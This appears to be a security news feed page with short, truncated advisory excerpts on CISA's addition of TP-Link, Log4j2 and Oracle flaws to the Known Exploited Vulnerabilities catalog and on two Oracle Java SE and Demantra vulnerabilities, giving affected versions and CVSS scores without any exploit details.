Alert: Active Exploitation of TP-Link, Apache, and Oracle Vulnerabilities Detected

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added three flaws to the Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. The security vulnerabilities are as follows - CVE-2023-1389 (CVSS score: 8.8) - TP-Link Archer AX-21 Command Injection Vulnerability CVE-2021-45046 (CVSS score: 9.0) - Apache Log4j2 Deserialization of Untrusted

CVE-2023-21954: Oracle Critical Patch Update Advisory - April 2023

Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through...

CVE-2023-21850: Oracle Critical Patch Update Advisory - January 2023

Vulnerability in the Oracle Demantra Demand Management product of Oracle Supply Chain (component: E-Business Collections). Supported versions that are affected are 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Demantra Demand Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Demantra Demand Management accessible data. CVSS 3.1 Base Score 7.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution